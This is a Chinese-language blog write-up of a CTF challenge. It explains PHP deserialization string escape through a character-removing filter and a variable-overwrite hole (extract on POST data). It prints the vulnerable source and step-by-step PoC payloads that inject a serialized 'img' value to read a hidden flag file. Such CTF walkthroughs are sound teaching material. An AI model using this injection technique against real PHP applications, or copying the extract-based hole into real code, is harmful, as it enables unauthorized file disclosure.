User-Profile-Image
hankin
  • 5
请到[后台->外观->菜单]中设置菜单。
  • 分类
    • 靶机渗透
    • 计算机小技巧
    • 漏洞复现
    • 未分类
    • 数据结构
    • 内网渗透
    • 代码审计
    • XSS
    • WEB安全漏洞学习
    • Web
    • python
    • PHP
    • NodeJS
    • MYSQL
    • Misc
    • JavaScript
    • Docker
    • CTF相关知识点
    • CTFWP
    • Crypto
    • Cobalt Strike
  • 页面
  • 友链
    • 三哥的博客
    • Root师傅的博客
    • EDS师傅的博客
    • 天正哥的博客
    • 天尘翼师傅的博客
    • 熵增师傅的github
    • 信仰的博客
    • Jadore的博客
Help?

Please contact us on our email for need any support

Support
    首页   ›   CTFWP   ›   正文
CTFWP

[安洵杯 2019]easy_serialize_php

2021-01-07 22:26:45
406  0 0
Text.

考点内容:PHP反序列化字符串逃逸(字符减少)

看此文章之前,建议读者朋友们回顾下我之前写的文章关于反序列化字符串逃逸后字符减少情况的知识

PHP反序列化字符串逃逸

首页index.php

Text.
<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);//相当于preg_replace('/php|flag|php5|php4|php|fl1g/i','',$img)
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);//变量覆盖

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){//这里注意f传递的show_image虽然会给$_SESSION['function']赋个值,但POST传递后的值马上会将该值覆盖了。
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

首先根据提示?f=phpinfo找到一个文件信息

所以第一步根据代码中最后一句,需要令反序列化后的img参数的值为d0g3_f1ag.php的Base64编码值ZDBnM19mMWFnLnBocA==,那么按照我之前文章所写,开始一点点构造。首先本地准备一个d0g3_f1ag.php随便写些内容,当本地可以读取该文件的时候即可了。因为我们要构造$_SESSION[“img”]的值为ZDBnM19mMWFnLnBocA==,所以他就正常构造下。其余两个SESSION的参数怎么写已经标记到POC的注释上了

<?php
function filter($img)
{
    $filter_arr = array('php', 'flag', 'php5', 'php4', 'fl1g');
    $filter = '/' . implode('|', $filter_arr) . '/i';
    return preg_replace($filter, '', $img);
}
$_SESSION["user"] = 'flagflag';//先随便写两个,至于最后是多少再补充
$_SESSION["function"] = '123';//先随便写
$_SESSION["img"]='ZDBnM19mMWFnLnBocA==';
var_dump(serialize($_SESSION));
echo "<pre>";
$serialize_info = filter(serialize($_SESSION));
var_dump($serialize_info);
var_dump(unserialize($serialize_info));
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
?>

结果如上图所示,因为已经了解了PHP的序列化与反序列化的原理了,所以我们知道;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;}这部分内容会被反序列化回去。

那么第一步将这部分内容填入到$_SESSION[“function”]处,再次构造POC

<?php
function filter($img)
{
    $filter_arr = array('php', 'flag', 'php5', 'php4', 'fl1g');
    $filter = '/' . implode('|', $filter_arr) . '/i';
    return preg_replace($filter, '', $img);
}
$_SESSION["user"] = 'flagflag';//先随便写两个,至于最后是多少再补充
$_SESSION["function"] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';//参看之前文章,这里一步到位了
$_SESSION["img"]='ZDBnM19mMWFnLnBocA==';
var_dump(serialize($_SESSION));
echo "<pre>";
$serialize_info = filter(serialize($_SESSION));
var_dump($serialize_info);
var_dump(unserialize($serialize_info));
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
?>

然后获取选中部分长度

因为知道这道题的替换是从3个变为0或者4个变为0所以可以选择令$_SESSION[“user”]为6个4位长度的字符(flag)或者8个3位长度的字符(php)

关键代码

$_SESSION["user"] = 'phpphpphpphpphpphpphpphp';//过滤后向后吃24个字符
$_SESSION["function"] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION["img"]='ZDBnM19mMWFnLnBocA==';

但是这样本地构造完后访问却发现并没有访问到指定文件,这是因为题目里的SESSION有三个参数,而我们第二行构造的代码中以}结尾了,所以反序列化后只能出现两个参数,没有满足要求,所以不会成功反序列化,那么只需要再任意补充一段序列化值即可。

将}去掉添加:s:4:”name”;s:7:”purplet”;}

最终构造代码

<?php
function filter($img)
{
    $filter_arr = array('php', 'flag', 'php5', 'php4', 'fl1g');
    $filter = '/' . implode('|', $filter_arr) . '/i';
    return preg_replace($filter, '', $img);
}
$_SESSION["user"] = 'phpphpphpphpphpphpphpphp';//过滤后向后吃24个字符
$_SESSION["function"] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:4:"name";s:7:"purplet";}';//先随便写
$_SESSION["img"]='ZDBnM19mMWFnLnBocA==';
var_dump(serialize($_SESSION));
echo "<pre>";
$serialize_info = filter(serialize($_SESSION));
var_dump($serialize_info);
var_dump(unserialize($serialize_info));
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
?>

至此本地已经成功读取到文件了,然后回到题目,提示注意两点

1.用BP传递参数,因为HackBar无法传递

2.传递SESSION时,对参数不用加引号

然后读flag的方式同理

评论 (0)

点击这里取消回复。

欢迎您 游客  

近期文章
  • 记一次Docker问题排错
  • 免杀钓鱼XLSM
  • 彻底理解Kerberos认证
  • 免杀QuasarRAT
  • 密码保护:python反序列化免杀上线CS
近期评论
    文章归档
    • 2021年4月
    • 2021年3月
    • 2021年2月
    • 2021年1月
    • 2020年12月
    • 2020年11月
    • 2020年9月
    • 2020年7月
    • 2020年6月
    • 2020年5月
    • 2020年4月
    • 2020年3月
    • 2020年2月
    • 2020年1月
    分类目录
    • Cobalt Strike
    • Crypto
    • CTFWP
    • CTF相关知识点
    • Docker
    • JavaScript
    • Misc
    • MYSQL
    • NodeJS
    • PHP
    • python
    • Web
    • WEB安全漏洞学习
    • XSS
    • 代码审计
    • 内网渗透
    • 数据结构
    • 未分类
    • 漏洞复现
    • 计算机小技巧
    • 靶机渗透
    功能
    • 登录
    • 条目feed
    • 评论feed
    • WordPress.org
    分类目录
    Copyright © 2021 网站备案号: 蒙ICP备20000552号-1
    smarty_hankin 主题. Designed by hankin
    主页
    页面
    博主
    purplet 管理员
    努力并有所方向
    170 文章 0 评论 50926 浏览
    测试
    测试